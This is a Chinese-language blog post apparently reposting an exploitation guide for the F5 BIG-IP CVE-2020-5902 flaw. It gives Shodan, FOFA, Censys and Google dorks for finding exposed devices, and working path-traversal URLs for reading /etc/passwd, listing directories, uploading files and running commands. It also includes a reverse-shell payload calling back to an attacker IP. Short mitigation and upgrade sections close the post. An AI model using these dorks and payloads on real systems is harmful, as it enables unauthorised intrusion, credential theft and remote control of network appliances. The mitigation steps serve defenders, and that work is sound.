F5 BIG-IP CVE-2020-5902 RCE

https://xz.aliyun.com/t/8008#toc-3

影响范围

  • BIG-IP = 15.1.0
  • BIG-IP = 15.0.0
  • BIG-IP 14.1.0 - 14.1.2
  • BIG-IP 13.1.0 - 13.1.3
  • BIG-IP 12.1.0 - 12.1.5
  • BIG-IP 11.6.1 - 11.6.5

搜索关键词:

shodan

http.favicon.hash:-335242539
http.title:”BIG-IP®- Redirect”

fofa

title=”BIG-IP®- Redirect”
tmui

censys

443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6fb32f016e80dbcda8eb71a17994678692585ee5
443.https.get.title:”BIG-IP®- Redirect”

google

inurl:"tmui/login.jsp"
intitle:"BIG-IP" inurl:"tmui"

利用条件

  • 上述影响范围所列的F5 BIG-IP版本
  • 第一种EXP:在RCE以及反弹shell时需要近期有用户登录或者用户会话未过期
  • 第二种EXP: F5 BIG-IP未关闭Hysqldb(密码默认为空,而且在lib下的jar包中,不存在更改问题)

漏洞利用

文件读取

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/profile_base.conf

其他路径参考:

https://github.com/Al1ex/CVE-2020-5902/blob/master/common_path.txt

列目录

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

命令执行

方法一:指令别名方式

通过alias将bash设置别名来实现命令执行的效果

1、创建执行命令的模式,将list设置为bash的别名
tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2、向创建的文件中写入要执行的命令
fileSave.jsp?fileName=/tmp/cmd&content=id
3、利用前面设置的list来执行文件中的命令
这里无用户时和近期有用户登陆情况是不一样的
tmshCmd.jsp?command=list+/tmp/cmd
4、最后清空list
tmshCmd.jsp?command=delete+cli+alias+private+list

方法二:tmsh命令语法

可以使用BIG-IP的一些内置的命令

  • list auth user——查看所有用户
  • list auth user admin ——仅仅查看admin用户
tmshCmd.jsp?command=list+auth+user+admin

反弹shell

可以通过上述方法进行RCE,第二种可能不适用

1、创建执行命令的模式,将list设置为bash
tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2、创建包含反弹shell的命令并以文本文件形式保存
fileSave.jsp?fileName=/tmp/1.txt&content=bash+-i+>%26/dev/tcp/192.168.X.X/4444+0>%261
3、反弹shell
tmshCmd.jsp?command=list+/tmp/1.txt

文件上传

/tmui/locallb/workspace/fileSave.jsp
POST:
fileName=/tmp/1.txt&content=CVE-2020-5902

newPOC

https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902

TEAM ARES安全研究团队披露出一则新的POC,该POC使用JAVA反序列化配合CVE-2020-5902漏洞来执行命令,涉及的类正是org.hsqldb.util.scriptool.main

本文原作者分析

https://github.com/Al1ex/CVE-2020-5902

漏洞分析

看不懂 ~~~

造成该漏洞的原因主要是Tomcat对于含有特殊符号的URL解析特性导致的权限校验绕过,之后通过未授权访问相关路由信息导致的文件读取、文件写入以及tmsh命令执行等,下面我们从三个方面来看:中间件的URL解析差异性、请求处理追溯、后端代码逻辑

防御措施

检测工具:

https://github.com/theLSA/f5-bigip-rce-cve-2020-5902

缓解措施

1、登陆 TMOS Shell(tmsh)执行
tmsh
2、修改 httpd 配置信息
edit /sys httpd all-properties
3、文件内容如下
include 'FileETag MTime Size
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>
'
4、按照以下操作保存文件
按下 ESC 并依次输入
 :wq
5、执行命令刷新配置文件
save /sys config
6、重启httpd服务
restart sys service httpd
7、禁用IP对TMUI界面的访问

应用升级

  • BIG-IP 15.x: 15.1.0.4
  • BIG-IP 14.x: 14.1.2.6
  • BIG-IP 13.x: 13.1.3.4
  • BIG-IP 12.x: 12.1.5.2
  • BIG-IP 11.x: 11.6.5.2

PS:建议还是能升级的尽量升级,缓解措施则使用以上最新的缓解措施,并随时关注官方的更新

posted @ 2020-07-22 10:52  Yg~  阅读(219)  评论(0)    收藏  举报